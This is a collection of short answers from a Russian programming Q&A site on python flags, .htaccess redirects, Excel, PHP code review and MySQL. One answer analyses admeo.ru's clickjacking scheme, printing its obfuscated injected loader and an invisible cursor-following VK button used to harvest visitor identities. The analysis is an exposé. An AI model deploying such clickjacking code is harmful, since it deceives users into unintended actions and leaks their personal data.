• Что не так с python -v?

    python --version
    Ответ написан
    Комментировать
  • Что не так с python -v?

    @Lepilov
    python -V
    Ответ написан
    Комментировать
  • Почему выбивает ошибку "Сайт выполнил переадресацию слишком много раз." при добавлении нового редиректа в .htaccess?

    @dodo512
    В чем причина? По идее, должно же работать.

    По умолчанию при редиректе добавляется %{QUERY_STRING}.
    Нужно добавить "?".
    RewriteCond %{QUERY_STRING} ^page=name
    RewriteRule ^(.*) https://test.ru/? [R=301,L]
    Ответ написан
    Комментировать
  • Как защитить API сервиса платного контента?

    Kwisatz
    @Kwisatz
    Больше web-приложений, хороших и разных
    Запомните пожалуйста: клиент в руках врага. Всегда. Исключений нет. Любая защита может быть только на сервере, на клиенте - только видимость.
    Ответ написан
    4 комментария
  • Есть ли у MediaWiki WYSWYG редактор?

    ertaquo
    @ertaquo
    А почему бы и нет? Вот здесь статейка на эту тему: <a href=«www.mediawiki.org/wiki/WYSIWYG_editor>http://www.mediawiki.org/wiki/WYSIWYG_editor
    Ответ написан
    1 комментарий
  • Как проставить кавычки массово в Excel или строках txt?

    ZeLib0ba
    @ZeLib0ba
    [IT]ишник | http://surin.ru
    Можно еще проще. Копируете все в первый столбец, построчно
    Во втором пишите
    =""""&A1&""""
    И тяните эту запись до последней.
    Ответ написан
    Комментировать
  • Как получить filesize PHP по удаленному URl?

    FanatPHP
    @FanatPHP
    Чебуратор тега РНР
    1. В НТТР нет файлов.
    2. Наличие Content-Length не гарантируется.
    3. Размер файла должно отдавать специально обученное API. А за такое варварство надо руки отрывать
    Ответ написан
    Комментировать
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Какие проекты может потянуть один человек?

    @MaratN
    Встречаются два друга:
    — Как дела?
    — Да вот, основал новый стартап, очень быстро растём, развиваемся.
    — Круто! А в чём суть стартапа?
    — Я провёл исследование рынка и решил публичный дом открыть.
    — Ого, интересно, и какие цены?
    — Анал — $100, орал — $50.
    — А классический секс?
    — Понимаешь, с этим труднее... это ж стартап. В общем, я пока один работаю…
    Ответ написан
    Комментировать
  • Где и как хранить тестовые сайты?

    @mr_ko
    Javascript, Node.js. React.js, Vue.js, Wordpress
    Для онлайн демонстрации держу минимальную VDSку и левый домен на котором висят тестовые поддомены.
    А это, насколько мне известно, не очень круто для поисковиков.

    Для этого существует файл robots.txt
    Ответ написан
    Комментировать
  • Почему стремление к упорядочиванию приводит к большей энтропии и отнимает силы?

    mazah
    @mazah
    Главное - делай
    Несколько лет имел такое же расстройство (да, к сожалению это именно оно), как и у Вас.
    Сначала я думал, что излишняя упорядочность повышает качество дел, которыми я занимаюсь; ну и соответственно, видел (вернее хотел видеть) прямую связь между контроллированием всего и монетизацией (будь то найм или свои проекты). Через какое-то время обнаружил, что систематизация на самом деле не приносит разгрузку (ни психологическую, ни материальную), а наоборот отнимает ресурсы.

    Но одновременно с этим, я не мог отпустить на самотек все дела, цели, мысли и пришел к следующему:

    Составляется план-карта на 1 год (прикладываю скрин). Как с ней работать?

    1. На 1 год ставится одна большая цель (в моем случае это мое экспертное развитие в конкретной нише).
    2. Год делится на 4 части (кварталы), на каждый квартал распределяются крупные шаги к большой цели.
    3. Каждый квартал делю на месяцы, в котором шаги дроблю на конкретные задачи с цифрами и метриками.
    4. Задачи распределяю между месяцами, собирая как в конструкторе (в зависимости от загрузки).

    А вот так она выглядит ⤵︎

    f93c396c29994d26abc5fc6ee10d72f4.png

    Таким образом у меня получается:
    • держать самую главную цель года всегда перед глазами
    • видеть шаги, которые нельзя пропустить идя по маршруту из точки А в точку Б

    И самое главное, я снял с себя стресс и излишнюю нагрузку из-за регулярных перестраиваний задач и приоритетов. Теперь, если я что-то не успеваю закрыть в этом месяце, я либо удаляю (как неправильную гипотезу), либо переформулирую и вставляю в следующий месяц.

    P.S.: важно отметить, что такой подход эффективен для меня, потому что разработал я его именно для себя. А решение задач и успеваемость - это вещь очень индивидуальная. Но я буду рад, если смог как-то помочь или подсказать. Можете писать на почту, если нужны еще подсказки)
    Ответ написан
    Комментировать
  • Как подключиться к VPS (на CentOS) не через SSH-клиент с консолью, а через что-то более удобное? Вроде удаленного рабочего стола?

    sabramovskikh
    @sabramovskikh
    Вам нужно идти в сторону VNC, как его установить полно инструкций.
    Только если у вас там нет DO (рабочего стола) то для чего?

    P.S. Если вы не знаете как ставить апач и nging то ставьте VestaCP, либо найдите фрилансера.
    Ответ написан
    1 комментарий
  • Как сделать чтобы слайдер работал идеально без глюков?

    wielski
    @wielski
    ✔ Совет: Вам помогли? Отметьте ответы решением.
    К сожалению, на этом сайте не слишком много телепатов или ясновидящих, если они вообще есть.
    Вот ссылки на подхящие ресурсы, попробуйте задать вопрос там:
    mir-ezo.ru
    www.vmagie.com
    tonkiimir.ru


    Если все-таки вам там не помогут, попробуйте сформулировать вопрос более конкретнее. К примеру, предоставить примеры на том же jsfiddle. Это очень упростит поиску ответа простым смертным, вроде нас.
    Ответ написан
    2 комментария
  • Mysql группировка данных?

    sayber
    @sayber Куратор тега PHP
    Да, я программирую на PHP и еще асинхронно!
    Примерно так
    SELECT d.id, d.date, sum(d.load) FROM table as d GROUP BY date
    Ответ написан
    6 комментариев
  • Попросили проверить код, на что смотреть нужно?

    index0h
    @index0h
    PHP, Golang. https://github.com/index0h
    Смотря зачем)). Я когда делаю Code Review критерии следующие:

    * Безопасность:
    - Каждый аргумент метода простого типа должен проверяться на тип в случае его проксирования и на граничные значения в случае обработки. Чуть что не так - бросается исключение. Если метод с кучкой аргументов на 80% состоит из поверки из аргументов - это вполне норм))
    - Никаких trigger_error, только исключения.
    - Исключения ДОЛЖНЫ быть человеко-понятны, всякие "Something went wrong" можно отдавать пользователю, но в лог должно попасть исключение со стектрейсом и человеко-понятным описанием, что же там пошло не так.
    - Каждый аргумент (объект) метода должен быть с тайпхинтингом на этот его класс, или интерфейс.
    - За eval как правило шлю на **й.
    - @ допускается только в безвыходных ситуациях, например проверка json_last_error.
    - Перед работой с БД - обязательная проверка данных.
    - Никаких == и !=. Со swtich - единственное исключение, по ситуации.
    - Если метод возвращает не только bool, а еще что-то - жесткая проверка с ===, или !== обязательна.
    - Никаких условий с присваиваниями внутри. while($row = ...) - тоже идет лесом.
    - Магические геттеры/сеттеры разрешаются только в безвыходных ситуациях, в остальном - запрещены.
    - Конкатенации в sql - только в безвыходных ситуациях.
    - Параметры в sql - ТОЛЬКО через плейсхолдеры.
    - Никаких глобальных переменных.
    - Даты в виде строки разрешаются только в шаблонах и в БД, в пхп коде сразу преобразуется в \DateTimeImmutable (в безвыходных ситуациях разрешено \DateTime)
    - Конечно зависит от проекта, но как приавло должно быть всего две точки входа: index.php для web и console(или как-то по другому назваться) - для консоли.

    * Кодстайл PSR-2 + PSR-5 как минимум, + еще куча более жестких требований (для начала все то что в PSR помечено как SHOULD - становится MUST)
    - В PhpStorm ни одна строчка не должна подсвечиваться (исключением является typo ошибки, например словарик не знает какой-то из аббревиатур, принятых в вашем проекте). При этом разрешается использовать /** @noinspection *** */ для безвыходных ситуаций.
    - Если кто-то говорит, что пишет в другом редакторе и у него не подсвечивается, на эти отговорки кладется ВОТ ТАКЕЕЕНЫЙ мужской половой **й и отправляется на доработку)).

    * Организация кода:
    - Никаких глобальных функций.
    - Классы без неймспейса разрешаются только в исключительно безвыходных ситуациях.

    * Тестируемость (в смысле простота тестирования) кода должна быть высокая.
    - Покрытие кода обязательно для всех возможных кейсов использования каждого публичного метода с моками зависимостей.

    * Принципы MVC:
    - Никаких обработок пользовательского ввода в моделях, от слова совсем.
    - Никаких ***ть запросов в БД из шаблонов.
    - Никаких верстки/js/css/sql-ин в контроллерах.
    - В моделях НИКАКОЙ МАГИИ, только приватные свойства + геттеры с сеттерами.
    - В моделях разрешено использовать метод save(при наличии такого разумеется) только в исключительных ситуациях. Во всех остальных - либо insert, либо update.

    * Принципы SOLD:
    - Никаких божественных объектов умеющих во все.
    - Если метод для внутреннего пользования - private, никаких public.
    - Статические методы разрешаются только в случае безвыходности.

    * Принцип DRY разрешено нарушать в случаях:
    - Явного разделения обязанностей
    - В тестах (каждый тест должен быть независимым, на сколько это возможно)

    * Работа с БД:
    - Запрос в цикле должен быть РЕАЛЬНО обоснован.
    - За ORDER BY RAND() - шлю на***й.
    - Поиск не по ключам (конечно если таблица НЕ на 5 строк) запрещен.
    - Поиск без LIMIT (опять же если таблица НЕ на 5 строк) запрещен.
    - SELECT * - запрещен.
    - Денормализация БД должна быть обоснована.
    - MyISAM не используется (так уж)) )
    - Множественные операции обязательно в транзакции, с откатом если чо пошло не так.
    - БД не должна содержать бизнес логики, только данные в целостном виде.
    - Не должно быть нецелесообразного дерганья БД там, где без этого можно обойтись.

    * Кэш должен очищаться по двум условиям (не по одному из, а именно по двум):
    - Время.
    - Протухание по бизнес логике.
    Разрешается по только времени в безвыходных ситуациях, но тогда время - короткий период.
    - При расчете ключей кэша должна использоваться переменная из конфигурации приложения (на случай обновлений кэш сбрасывается кодом, а не флашем кэш-сервера). В случае использования множества серверов - это очень удобный и гибкий инструмент при диплое.

    * О людях:
    - "Я привык писать так и буду дальше" - не вопрос, ревью пройдешь только когда поменяешь свое мнение.
    - "Я пишу в vim-е и мне так удобно" - здорово, код консолью я тоже в нем пишу)) но есть требования к коду, если в них не сможешь - не пройдешь ревью.
    - "Я скопировал этот страшный метод и поменял 2 строчки" - это конечно замечательно, но по блейму автор всего этого метода ты, так что давай без говняшек, хорошо?
    - "Оно же работает!" - вот эта фраза переводится примерно так: "да, я понимаю, что пишу полную хрень, но не могу писать нормально потому, что руки из жо", я правильно тебя понял?))
    - "У меня все работает!" - рад за тебя, а как на счет продакшна?
    - "Там все просто" - не используй слово "просто", от слова "совсем". Вот тебе кусок кода (первого попавшегося с сложной бизнес логикой), где там ошибка (не важно есть она, или нет)? Ты смотришь его уже 2 минуты, в чем проблема, там же все "просто"))

    * Всякое:
    ActiveRecord (это я вам как в прошлом фанат Yii говорю) - полное говно, примите за исходную. По факту у вас бесконтрольно по проекту гуляют модельки с подключением к БД. Не раз натыкался на то, что в тех же шаблонах вызывают save, или update (за такое надо сжигать).
    То, что используется Laravel - это печально((. Что бы выполнить требования приведенные выше, приходится "воевать" с фреймворком.

    Это далеко не полный список требований, очень много зависит от проекта в целом и от принципов, заложенных в нем. Для больших мредж реквестов 200 комментариев к коду - это ок. Дерзайте.

    UPD

    Формализировал данные критерии по ссылочке: https://github.com/index0h/php-conventions
    Ответ написан
    55 комментариев
  • Как менее ресурсоемко обработать 2 масива?

    miraage
    @miraage
    Старый прогер
    array_intersect_assoc

    // EDIT

    <?php
    
    $foo = [
        'alice' => 'bob',
        'bar' => 'baz',
    ];
    
    $bar = [
        'john' => 'doe',
        'foo' => 'baz',
    ];
    
    var_dump(
        array_intersect($foo, $bar),
        array_intersect($bar, $foo)
    );
    
    // output:
    array(1) {
      'bar' =>
      string(3) "baz"
    }
    array(1) {
      'foo' =>
      string(3) "baz"
    }
    Ответ написан
    3 комментария